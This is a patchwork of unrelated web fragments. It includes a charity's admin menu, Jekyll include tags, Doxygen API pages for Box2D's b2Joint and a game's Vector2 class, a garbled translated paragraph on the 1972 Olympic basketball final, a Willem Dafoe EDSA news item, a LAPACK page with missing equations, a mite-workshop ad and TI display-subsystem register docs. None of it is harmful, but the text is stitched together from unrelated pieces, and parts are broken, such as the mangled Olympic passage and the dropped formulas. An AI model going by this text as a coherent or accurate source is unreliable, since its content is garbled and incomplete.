REACHING HAND
Floor, Nehru Road, Above Syndicate Bank, Yadava Layout, Arvind Nagar,, 44, Nehru Rd, St Thomas Town, Kacharakanahalli, Bengaluru, Karnataka 560084
what you wanted to do ?
< --- add a staff --- >
< --- add a student record --- >
< --- checkout Balance sheet --- >


{% include head.html %}
{% include nav-front.html %} {% include header-front.html %} {% include about-front.html %} {% include schedule-front.html %} {% include themes.html %} {% include faq-front.html %} {% include team.html %} {% include sponsors.html %} {% include contact.html %} {% include footer.html %} {% include scripts.html %}


#include <b2Joint.h>
Public Member Functions | |
| b2JointType | GetType () const |
| Get the type of the concrete joint. | |
| b2Body * | GetBodyA () |
| Get the first body attached to this joint. | |
| b2Body * | GetBodyB () |
| Get the second body attached to this joint. | |
| virtual b2Vec2 | GetAnchorA () const =0 |
| Get the anchor point on bodyA in world coordinates. | |
| virtual b2Vec2 | GetAnchorB () const =0 |
| Get the anchor point on bodyB in world coordinates. | |
| virtual b2Vec2 | GetReactionForce (float32 inv_dt) const =0 |
| Get the reaction force on body2 at the joint anchor in Newtons. | |
| virtual float32 | GetReactionTorque (float32 inv_dt) const =0 |
| Get the reaction torque on body2 in N*m. | |
| b2Joint * | GetNext () |
| Get the next joint the world joint list. | |
| void * | GetUserData () const |
| Get the user data pointer. | |
| void | SetUserData (void *data) |
| Set the user data pointer. | |
| bool | IsActive () const |
| Short-cut function to determine if either body is inactive. | |
Protected Member Functions | |
| b2Joint (const b2JointDef *def) | |
| virtual | ~b2Joint () |
| virtual void | InitVelocityConstraints (const b2TimeStep &step)=0 |
| virtual void | SolveVelocityConstraints (const b2TimeStep &step)=0 |
| virtual bool | SolvePositionConstraints (float32 baumgarte)=0 |
Static Protected Member Functions | |
| static b2Joint * | Create (const b2JointDef *def, b2BlockAllocator *allocator) |
| static void | Destroy (b2Joint *joint, b2BlockAllocator *allocator) |
Protected Attributes | |
| b2JointType | m_type |
| b2Joint * | m_prev |
| b2Joint * | m_next |
| b2JointEdge | m_edgeA |
| b2JointEdge | m_edgeB |
| b2Body * | m_bodyA |
| b2Body * | m_bodyB |
| bool | m_islandFlag |
| bool | m_collideConnected |
| void * | m_userData |
| b2Vec2 | m_localCenterA |
| b2Vec2 | m_localCenterB |
| float32 | m_invMassA |
| float32 | m_invIA |
| float32 | m_invMassB |
| float32 | m_invIB |
Friends | |
| class | b2World |
| class | b2Body |
| class | b2Island |
The base joint class. Joints are used to constraint two bodies together in various fashions. Some joints also feature limits and motors.
| b2Joint::b2Joint | ( | const b2JointDef * | def | ) | [protected] |
| virtual b2Joint::~b2Joint | ( | ) | [inline, protected, virtual] |
| b2Joint * b2Joint::Create | ( | const b2JointDef * | def, | |
| b2BlockAllocator * | allocator | |||
| ) | [static, protected] |
| void b2Joint::Destroy | ( | b2Joint * | joint, | |
| b2BlockAllocator * | allocator | |||
| ) | [static, protected] |
| virtual b2Vec2 b2Joint::GetAnchorA | ( | ) | const [pure virtual] |
Get the anchor point on bodyA in world coordinates.
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
| virtual b2Vec2 b2Joint::GetAnchorB | ( | ) | const [pure virtual] |
Get the anchor point on bodyB in world coordinates.
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
| b2Body * b2Joint::GetBodyA | ( | ) | [inline] |
Get the first body attached to this joint.
| b2Body * b2Joint::GetBodyB | ( | ) | [inline] |
Get the second body attached to this joint.
| b2Joint * b2Joint::GetNext | ( | ) | [inline] |
Get the next joint the world joint list.
Get the reaction force on body2 at the joint anchor in Newtons.
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
Get the reaction torque on body2 in N*m.
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
| b2JointType b2Joint::GetType | ( | ) | const [inline] |
Get the type of the concrete joint.
| void * b2Joint::GetUserData | ( | ) | const [inline] |
Get the user data pointer.
| virtual void b2Joint::InitVelocityConstraints | ( | const b2TimeStep & | step | ) | [protected, pure virtual] |
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
| bool b2Joint::IsActive | ( | ) | const |
Short-cut function to determine if either body is inactive.
| void b2Joint::SetUserData | ( | void * | data | ) | [inline] |
Set the user data pointer.
| virtual bool b2Joint::SolvePositionConstraints | ( | float32 | baumgarte | ) | [protected, pure virtual] |
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
| virtual void b2Joint::SolveVelocityConstraints | ( | const b2TimeStep & | step | ) | [protected, pure virtual] |
Implemented in b2DistanceJoint, b2FrictionJoint, b2GearJoint, b2LineJoint, b2MouseJoint, b2PrismaticJoint, b2PulleyJoint, b2RevoluteJoint, and b2WeldJoint.
friend class b2Body [friend] |
friend class b2Island [friend] |
friend class b2World [friend] |
b2Body* b2Joint::m_bodyA [protected] |
b2Body* b2Joint::m_bodyB [protected] |
bool b2Joint::m_collideConnected [protected] |
b2JointEdge b2Joint::m_edgeA [protected] |
b2JointEdge b2Joint::m_edgeB [protected] |
float32 b2Joint::m_invIA [protected] |
float32 b2Joint::m_invIB [protected] |
float32 b2Joint::m_invMassA [protected] |
float32 b2Joint::m_invMassB [protected] |
bool b2Joint::m_islandFlag [protected] |
b2Vec2 b2Joint::m_localCenterA [protected] |
b2Vec2 b2Joint::m_localCenterB [protected] |
b2Joint* b2Joint::m_next [protected] |
b2Joint* b2Joint::m_prev [protected] |
b2JointType b2Joint::m_type [protected] |
void* b2Joint::m_userData [protected] |


|
Space Station Rescue Souls
|
2 dimensional vector class. More...
#include <Vector2.h>
Public Member Functions | |
| Vector2 () | |
| Vector2 (T const &_x, T const &_y) | |
| Vector2 (sf::Vector2< T > const &v) | |
| ~Vector2 ()=default | |
| Vector2 (Vector2 const &)=default | |
| Vector2 & | operator= (Vector2 const &)=default |
| Vector2 (Vector2 &&)=default | |
| Vector2 & | operator= (Vector2 &&)=default |
| Vector2 & | operator+= (Vector2 const &v) |
| Vector2 & | operator+= (T const &t) |
| Vector2 & | operator-= (Vector2 const &v) |
| Vector2 & | operator-= (T const &t) |
| Vector2 & | operator *= (Vector2 const &v) |
| Vector2 & | operator *= (T const &t) |
| Vector2 & | operator/= (Vector2 const &v) |
| Vector2 & | operator/= (T const &t) |
| T | magnitudeSqr () const |
| T | magnitude () const |
| Vector2< T > & | truncate (T max) |
| Vector2< T > & | unit () |
| Vector2< T > | unit () const |
| T | dot (Vector2< T > const &other) const |
| T | det (Vector2< T > const &other) const |
| T | toAngle () const |
| T | angleBetween (Vector2< T > const &other) const |
| operator std::string () const | |
| operator sf::Vector2< T > () const | |
| template<typename O > | |
| operator Vector2< O > () const | |
Static Public Member Functions | |
| static Vector2< T > const | unit (Vector2< T > const &v) |
| static T | dot (Vector2< T > const &left, Vector2< T > const &right) |
| static T | det (Vector2< T > const &left, Vector2< T > const &right) |
| static T | angleBetween (Vector2< T > const &left, Vector2< T > const &right) |
Public Attributes | |
| T | x |
| T | y |
Static Private Attributes | |
| static constexpr T const | zero = static_cast<T>(0u) |
2 dimensional vector class.
Handles all mathematics behind 2 dimensional vectors.
| app::math::Vector2< T >::Vector2 | ( | ) |
Definition at line 5 of file Vector2.cpp.
| app::math::Vector2< T >::Vector2 | ( | T const & | _x, |
| T const & | _y | ||
| ) |
Definition at line 12 of file Vector2.cpp.
| app::math::Vector2< T >::Vector2 | ( | sf::Vector2< T > const & | v | ) |
Definition at line 19 of file Vector2.cpp.
|
default |
|
default |
|
default |
|
static |
Definition at line 50 of file Vector2.cpp.
| T app::math::Vector2< T >::angleBetween | ( | Vector2< T > const & | other | ) | const |
Definition at line 180 of file Vector2.cpp.
|
static |
Definition at line 44 of file Vector2.cpp.
| T app::math::Vector2< T >::det | ( | Vector2< T > const & | other | ) | const |
Definition at line 168 of file Vector2.cpp.
|
static |
Definition at line 38 of file Vector2.cpp.
| T app::math::Vector2< T >::dot | ( | Vector2< T > const & | other | ) | const |
Definition at line 162 of file Vector2.cpp.
| T app::math::Vector2< T >::magnitude | ( | ) | const |
Definition at line 128 of file Vector2.cpp.
| T app::math::Vector2< T >::magnitudeSqr | ( | ) | const |
Definition at line 122 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator *= | ( | Vector2< T > const & | v | ) |
Definition at line 88 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator *= | ( | T const & | t | ) |
Definition at line 96 of file Vector2.cpp.
| app::math::Vector2< T >::operator sf::Vector2< T > | ( | ) | const |
Definition at line 192 of file Vector2.cpp.
| app::math::Vector2< T >::operator std::string | ( | ) | const |
Definition at line 186 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator+= | ( | Vector2< T > const & | v | ) |
Definition at line 56 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator+= | ( | T const & | t | ) |
Definition at line 64 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator-= | ( | Vector2< T > const & | v | ) |
Definition at line 72 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator-= | ( | T const & | t | ) |
Definition at line 80 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator/= | ( | Vector2< T > const & | v | ) |
Definition at line 104 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::operator/= | ( | T const & | t | ) |
Definition at line 113 of file Vector2.cpp.
|
default |
|
default |
| T app::math::Vector2< T >::toAngle | ( | ) | const |
Definition at line 174 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::truncate | ( | T | max | ) |
Definition at line 134 of file Vector2.cpp.
|
static |
Definition at line 30 of file Vector2.cpp.
| app::math::Vector2< T > & app::math::Vector2< T >::unit | ( | ) |
Definition at line 144 of file Vector2.cpp.
| app::math::Vector2< T > app::math::Vector2< T >::unit | ( | ) | const |
Definition at line 154 of file Vector2.cpp.
| T app::math::Vector2< T >::x |
| T app::math::Vector2< T >::y |
|
staticprivate |


Movement up
There are victories that change the course of history. Victory of the spirit, the victory of the country, the victory of the whole world. Such a
triumph was the legendary " three seconds — - winning the USSR national basketball team
at the fateful Munich Olympics in 1972 for the First time in 36 years
was defeated "invincible" us team. No one could even think that it is possible to beat the magnificent
infallible Americans at the Olympics! No one, except
Soviet basketball players (Russians and Georgians, Ukrainians and Kazakhs, Belarusians and Lithuanians).
Where defeat meant the defeat of the country when you had to go and fight in a hot atmosphere due to the incident a terrorist act, great coach
The USSR was
ready to do anything to help their wards to break the American myth of unsinkable dream team. After all, he knew that he created the strongest team
on the
planet, and in the early forced to believe in this their players, and then the whole world.


--- layout: default title: Secret Headquarters eyes: SECRET AGENT ---
Secret Headquarters website for secret agents ONLY.
Enter your secret agent ID below to log in.


‘An incredible feeling,’ Actor Willem Dafoe says of experiencing EDSA revolution while filming ‘Platoon’
by Coconuts ManilaEvery Filipino has an older family member who participated in the 1986 EDSA People Power Revolution, that dramatic moment in Philippine history where a dictator was toppled by sheer force of numbers without resorting to bloodshed.
Now in a weird turn of events, actor Willem Dafoe divulged that he was in the EDSA revolution, too. Dafoe said as much to Vanity Fair earlier this week in a video break-down of his career’s most-memorable moments.
The opportunity to join the bloodless revolution came up when Willem, now 64, was shooting the Oliver Stone movie Platoon 33 years ago.
Read: More than half of Filipinos weren’t even born during Edsa Revolution
“I arrived in the Philippines and my plane was the last plane in because there was a revolution,” he said. He remembers being told by someone from the movie’s production to “sit tight, the movie’s canceled. There’s a revolution, we’ll get you out when we can.”
The movie eventually got back on track, but the Platoon actor (or Spider-Man actor for the younger set) said that for “about three or four days, me and a couple of other people that were there ahead of time, were out on the streets with the people.”
“It was an incredible feeling because it was a revolution that happened for the most part without violence,” he said about the event that ended two decades of Ferdinand Marcos’ dictatorial rule.
More than half of the population now wasn’t alive yet when the revolution happened, and many of us who weren’t, such as this reporter, wish we could have.
What are your thoughts about EDSA? Leave us a comment below or tweet us @CoconutsManila.


Next: Generalized Orthogonal Factorizations and
Up: Orthogonal Factorizations and Linear
Previous: Complete Orthogonal Factorization
  Contents
  Index
The QL and RQ factorizations
are given by
and
These factorizations are computed by xGEQLF and xGERQF, respectively; they are
less commonly used than either the QR or LQ factorizations
described above, but have applications in, for example, the
computation of generalized QR factorizations [2].
All the factorization routines discussed here (except xTZRQF and xTZRZF) allow
arbitrary m and n, so that in some cases the matrices R or L are
trapezoidal rather than triangular.
A routine that performs pivoting is provided only for the QR factorization.
Table 2.9:
Computational routines for orthogonal factorizations
| Type of factorization |
Operation |
Single precision |
Double precision |
| and matrix |
|
real |
complex |
real |
complex |
| QR, general |
factorize with pivoting |
SGEQP3 |
CGEQP3 |
DGEQP3 |
ZGEQP3 |
| |
factorize, no pivoting |
SGEQRF |
CGEQRF |
DGEQRF |
ZGEQRF |
| |
generate Q |
SORGQR |
CUNGQR |
DORGQR |
ZUNGQR |
| |
multiply matrix by Q |
SORMQR |
CUNMQR |
DORMQR |
ZUNMQR |
| LQ, general |
factorize, no pivoting |
SGELQF |
CGELQF |
DGELQF |
ZGELQF |
| |
generate Q |
SORGLQ |
CUNGLQ |
DORGLQ |
ZUNGLQ |
| |
multiply matrix by Q |
SORMLQ |
CUNMLQ |
DORMLQ |
ZUNMLQ |
| QL, general |
factorize, no pivoting |
SGEQLF |
CGEQLF |
DGEQLF |
ZGEQLF |
| |
generate Q |
SORGQL |
CUNGQL |
DORGQL |
ZUNGQL |
| |
multiply matrix by Q |
SORMQL |
CUNMQL |
DORMQL |
ZUNMQL |
| RQ, general |
factorize, no pivoting |
SGERQF |
CGERQF |
DGERQF |
ZGERQF |
| |
generate Q |
SORGRQ |
CUNGRQ |
DORGRQ |
ZUNGRQ |
| |
multiply matrix by Q |
SORMRQ |
CUNMRQ |
DORMRQ |
ZUNMRQ |
| RZ, trapezoidal |
factorize, no pivoting |
STZRZF |
CTZRZF |
DTZRZF |
ZTZRZF |
| |
(blocked algorithm) |
|
|
|
|
| |
multiply matrix by Q |
SORMRZ |
CUNMRZ |
DORMRZ |
ZUNMRZ |
Next: Generalized Orthogonal Factorizations and
Up: Orthogonal Factorizations and Linear
Previous: Complete Orthogonal Factorization
  Contents
  Index
Susan Blackford
1999-10-01


Entomology & Acarology Workshops
If you'd like this workshop for your team please get in touch with Emily at<PHONE_NUMBER>
Workshop Overview
For the past two years we've been fortunate to welcome Katie Garrison, a scientist specializing in the study of hemp russet mites, to Southern Oregon! Katie leads these 1-hour workshops. Katie discusses a variety of topics, and demonstrates how to easily and quickly use a microscope to monitor for pests. Workshop topics will include:
- Cultural Controls & Best Practices
- The Big Picture: Cannabis Pests
- Scouting Methods
- A Few Words on Data Analysis
Lead Scientist, Katie Garrison
Katie is an entomologist currently researching the ecology of hemp russet mite, Aculops cannibicola, and its host plant, Cannabis. She shares her unique knowledge of the under-researched Eriophyidae family of mites, through workshops, lectures and training seminars. Previously with Driscoll’s Research and Development Entomology Laboratory, Katie led a three-year study of the redberry mite, Acalitus essigi. Her interest in the Eriophyidae began during her work at the Colorado Department of Agriculture’s beneficial insectary, where she reared a biological pest control agent, the bindweed gall mite, Aceria malherbae. Katie completed her undergraduate work at the University of California Santa Cruz and Colorado Mesa University.
If you'd like this workshop for your team please get in touch with Emily at<PHONE_NUMBER>


@* * Copyright 2013 Marconi Lanna * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(title : String="" , siteName : String="Site Name" , description: String="" , id : String="" , _class : String="" )(content: Html)


Data Structures | |
| struct | CSL_DssGlobalMFlagCfg |
| DSS Global MFLAG Config parameters. More... | |
| struct | CSL_DssCbaCfg |
| DSS CBA Config parameters. More... | |
Typedefs | |
| typedef CSL_dss_commonRegs | CSL_dss_commRegs |
| DSS Common Registers. More... | |
| typedef CSL_dss_common_mRegs | CSL_dss_commRegs |
| DSS Common Registers. More... | |
Functions | |
| void | CSL_dssModuleReset (CSL_dss_commRegs *commRegs) |
| Reset the DSS Module. Application should make sure Video Ports are disabled before calling this API. More... | |
| uint32_t | CSL_dssIsOldiResetDone (const CSL_dss_commRegs *commRegs) |
| Get OLDI reset status. More... | |
| void | CSL_dssEnableDispcIntr (CSL_dss_commRegs *commRegs, uint32_t intrMask, uint32_t intrEnable) |
| Enable/disable the interrupts at DSS top level. More... | |
| void | CSL_dssEnablePipeIntr (CSL_dss_commRegs *commRegs, uint32_t vidPipeId, uint32_t intrMask, uint32_t intrEnable) |
| Enable/disable the interrupts for Video Pipe. More... | |
| void | CSL_dssEnableVpIntr (CSL_dss_commRegs *commRegs, uint32_t portId, uint32_t intrMask, uint32_t intrEnable) |
| Enable/disable the interrupts for Video Port. More... | |
| void | CSL_dssClearDispcIntr (CSL_dss_commRegs *commRegs, uint32_t intrMask) |
| Clear the interrupts at DSS top level. More... | |
| void | CSL_dssClearPipeIntr (CSL_dss_commRegs *commRegs, uint32_t vidPipeId, uint32_t intrMask) |
| Clear the interrupts for Video Pipe. More... | |
| void | CSL_dssClearVpIntr (CSL_dss_commRegs *commRegs, uint32_t portId, uint32_t intrMask) |
| Clear the interrupts for Video Port. More... | |
| uint32_t | CSL_dssGetDispcIntrStatus (const CSL_dss_commRegs *commRegs) |
| Get the top level interrupt status of DSS. More... | |
| uint32_t | CSL_dssGetPipeIntrStatus (const CSL_dss_commRegs *commRegs, uint32_t vidPipeId) |
| Get the interrupt status of Video Pipe. More... | |
| uint32_t | CSL_dssGetVpIntrStatus (const CSL_dss_commRegs *commRegs, uint32_t portId) |
| Get the interrupt status of Video Port. More... | |
| void | CSL_dssSetGlobalMflagConfig (CSL_dss_commRegs *commRegs, const CSL_DssGlobalMFlagCfg *mflagCfg) |
| Set the global MFLAG configuration. More... | |
| void | CSL_dssGlobalVpEnable (CSL_dss_commRegs *commRegs, uint32_t portIdMask, uint32_t enable) |
| Enable the global VP enable bit. This allows setting multiple outputs synchronously. The 'OR' result of different masks can be used as input parameter. More... | |
| void | CSL_dssGlobalVpGoBitEnable (CSL_dss_commRegs *commRegs, uint32_t portIdMask) |
| Enable the global VP go bit. This allows setting multiple outputs synchronously. The 'OR' result of different masks can be used as input parameter. More... | |
| void | CSL_dssSetCbaConfig (CSL_dss_commRegs *commRegs, const CSL_DssCbaCfg *cbaCfg) |
| Set the CBA configuration. More... | |
| static void | CSL_dssGlobalMFlagCfgInit (CSL_DssGlobalMFlagCfg *mflagCfg) |
| CSL_DssGlobalMFlagCfg structure init function. More... | |
| static void | CSL_dssCbaCfgInit (CSL_DssCbaCfg *cbaCfg) |
| CSL_DssCbaCfg structure init function. More... | |
| void | CSL_dssEnableWbIntr (CSL_dss_commRegs *commRegs, uint32_t wbPipeId, uint32_t intrMask, uint32_t intrEnable) |
| Enable/disable the interrupts for Write Back Pipe. More... | |
| void | CSL_dssClearWbIntr (CSL_dss_commRegs *commRegs, uint32_t wbPipeId, uint32_t intrMask) |
| Clear the interrupts for Write Back Pipe. More... | |
| uint32_t | CSL_dssGetWbIntrStatus (const CSL_dss_commRegs *commRegs, uint32_t wbPipeId) |
| Get the interrupt status of Write Back Pipe. More... | |
| int32_t | CSL_dssConnectVpToDpi (CSL_dss_commRegs *commRegs, uint32_t portId, uint32_t dpiId) |
| This API can be used to select the VP connection to DPI. More... | |
| void | CSL_dssSetWbInputCh (CSL_dss_commRegs *commRegs, uint32_t inputCh) |
| This API is used to set the write back input channel. More... | |
DISPC Interrupt Mask | |
| #define | CSL_DSS_DISPC_INTR_VIDL1_MASK ((uint32_t) 0x20U) |
| Video Lite Pipeline 1 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VID1_MASK ((uint32_t) 0x10U) |
| Video PipeLine 1 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP2_MASK ((uint32_t) 0x02U) |
| Video Port 2 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP1_MASK ((uint32_t) 0x01U) |
| Video Port 1 Interrupt. | |
Video Pipeline Interrupt Mask | |
| #define | CSL_DSS_VID_PIPE_INTR_SAFETYVIOLATION_MASK ((uint32_t) CSL_DSS_COMMON_VID_IRQENABLE_0_SAFETYREGION_EN_MASK) |
| Interrupt due to safety violation. | |
| #define | CSL_DSS_VID_PIPE_INTR_WINDOWEND_MASK ((uint32_t) CSL_DSS_COMMON_VID_IRQENABLE_0_VIDENDWINDOW_EN_MASK) |
| Interrupt due to video window end. | |
| #define | CSL_DSS_VID_PIPE_INTR_BUFUNDERFLOW_MASK ((uint32_t) CSL_DSS_COMMON_VID_IRQENABLE_0_VIDBUFFERUNDERFLOW_EN_MASK) |
| Interrupt due to buffer underflow. | |
| #define | CSL_DSS_VID_PIPE_INTR_ALL_MASK |
| All Video Pipe interrupts. | |
Video Port Interrupt Mask | |
| #define | CSL_DSS_VP_INTR_FRAMEDONE_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPFRAMEDONE_EN_MASK) |
| Frame Done for Video Port. | |
| #define | CSL_DSS_VP_INTR_VSYNC_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPVSYNC_EN_MASK) |
| Vertical Synchronization for Video Port. | |
| #define | CSL_DSS_VP_INTR_ODDVSYNC_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPVSYNC_ODD_EN_MASK) |
| VSYNC for odd field from interlace mode only. | |
| #define | CSL_DSS_VP_INTR_PROGLINENUM_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPPROGRAMMEDLINENUMBER_EN_MASK) |
| Display scan has reached the programmed user line number. | |
| #define | CSL_DSS_VP_INTR_SYNCLOST_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPSYNCLOST_EN_MASK) |
| Synchronization Lost for Video Port. | |
| #define | CSL_DSS_VP_INTR_ACBIASCOUNT_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_ACBIASCOUNTSTATUS_EN_MASK) |
| AC Bias transition counter has decremented to zero. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION0_MASK ((uint32_t) 0x40U) |
| Interrupt due to region 0 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION1_MASK ((uint32_t) 0x80U) |
| Interrupt due to region 1 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION2_MASK ((uint32_t) 0x100U) |
| Interrupt due to region 2 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION3_MASK ((uint32_t) 0x200U) |
| Interrupt due to region 3 safety violation. | |
| #define | CSL_DSS_VP_INTR_SECURITYVIOLATION_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_SECURITYVIOLATION_EN_MASK) |
| Interrupt due to security violation. | |
| #define | CSL_DSS_VP_INTR_GOBITCLEAR_MASK ((uint32_t) CSL_DSS_COMMON_VP_IRQENABLE_0_VPSYNC_EN_MASK) |
| Go bit clear interrupt for VP. | |
| #define | CSL_DSS_VP_INTR_ALL_MASK |
| All Video Port interrupts. | |
Mflag Start Mode | |
| #define | CSL_DSS_MFLAG_START_NORMAL ((uint32_t) CSL_DSS_COMMON_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_START_VAL_MFLAGNORMALSTARTMODE) |
| Mflag of each pipe is kept at 0 until preload is reached. | |
| #define | CSL_DSS_MFLAG_START_FORCED ((uint32_t) CSL_DSS_COMMON_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_START_VAL_MFLAGFORCESTARTMODE) |
| Mflag is driven as per Mflag Ctrl. | |
Mflag Control | |
| #define | CSL_DSS_MFLAG_CTRL_DISABLED ((uint32_t) CSL_DSS_COMMON_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGDIS) |
| Mflag is disabled. | |
| #define | CSL_DSS_MFLAG_CTRL_FORCE_ENABLE ((uint32_t) CSL_DSS_COMMON_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGFORCE) |
| Mflag is force enabled. | |
| #define | CSL_DSS_MFLAG_CTRL_DYNAMIC ((uint32_t) CSL_DSS_COMMON_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGEN) |
| Mflag signal is set dynamically as per rules. | |
DISPC Interrupt Mask | |
| #define | CSL_DSS_DISPC_INTR_WB_MASK ((uint32_t) 0x4000U) |
| Write Back Pipeline Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VIDL2_MASK ((uint32_t) 0x80U) |
| Video Lite Pipeline 2 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VID2_MASK ((uint32_t) 0x40U) |
| Video PipeLine 2 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VIDL1_MASK ((uint32_t) 0x20U) |
| Video Lite Pipeline 1 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VID1_MASK ((uint32_t) 0x10U) |
| Video PipeLine 1 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP4_MASK ((uint32_t) 0x08U) |
| Video Port 4 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP3_MASK ((uint32_t) 0x04U) |
| Video Port 3 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP2_MASK ((uint32_t) 0x02U) |
| Video Port 2 Interrupt. | |
| #define | CSL_DSS_DISPC_INTR_VP1_MASK ((uint32_t) 0x01U) |
| Video Port 1 Interrupt. | |
Video Pipeline Interrupt Mask | |
| #define | CSL_DSS_VID_PIPE_INTR_FBDC_ILLEGALTILE_MASK ((uint32_t) CSL_DSS_COMMON_M_VID_IRQENABLE_0_FBDC_ILLEGALTILEREQ_EN_MASK) |
| Interrupt due to FBDC illegal tile request. | |
| #define | CSL_DSS_VID_PIPE_INTR_FBDC_CORRUPTTILE_MASK ((uint32_t) CSL_DSS_COMMON_M_VID_IRQENABLE_0_FBDC_CORRUPTTILE_EN_MASK) |
| Interrupt due to FBDC corrupted tile detection. | |
| #define | CSL_DSS_VID_PIPE_INTR_SAFETYVIOLATION_MASK ((uint32_t) CSL_DSS_COMMON_M_VID_IRQENABLE_0_SAFETYREGION_EN_MASK) |
| Interrupt due to safety violation. | |
| #define | CSL_DSS_VID_PIPE_INTR_WINDOWEND_MASK ((uint32_t) CSL_DSS_COMMON_M_VID_IRQENABLE_0_VIDENDWINDOW_EN_MASK) |
| Interrupt due to video window end. | |
| #define | CSL_DSS_VID_PIPE_INTR_BUFUNDERFLOW_MASK ((uint32_t) CSL_DSS_COMMON_M_VID_IRQENABLE_0_VIDBUFFERUNDERFLOW_EN_MASK) |
| Interrupt due to buffer underflow. | |
| #define | CSL_DSS_VID_PIPE_INTR_ALL_MASK |
| All Video Pipe interrupts. | |
Video Port Interrupt Mask | |
| #define | CSL_DSS_VP_INTR_FRAMEDONE_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPFRAMEDONE_EN_MASK) |
| Frame Done for Video Port. | |
| #define | CSL_DSS_VP_INTR_VSYNC_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPVSYNC_EN_MASK) |
| Vertical Synchronization for Video Port. | |
| #define | CSL_DSS_VP_INTR_ODDVSYNC_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPVSYNC_ODD_EN_MASK) |
| VSYNC for odd field from interlace mode only. | |
| #define | CSL_DSS_VP_INTR_PROGLINENUM_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPPROGRAMMEDLINENUMBER_EN_MASK) |
| Display scan has reached the programmed user line number. | |
| #define | CSL_DSS_VP_INTR_SYNCLOST_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPSYNCLOST_EN_MASK) |
| Synchronization Lost for Video Port. | |
| #define | CSL_DSS_VP_INTR_ACBIASCOUNT_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_ACBIASCOUNTSTATUS_EN_MASK) |
| AC Bias transition counter has decremented to zero. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION0_MASK ((uint32_t) 0x40U) |
| Interrupt due to region 0 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION1_MASK ((uint32_t) 0x80U) |
| Interrupt due to region 1 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION2_MASK ((uint32_t) 0x100U) |
| Interrupt due to region 2 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION3_MASK ((uint32_t) 0x200U) |
| Interrupt due to region 3 safety violation. | |
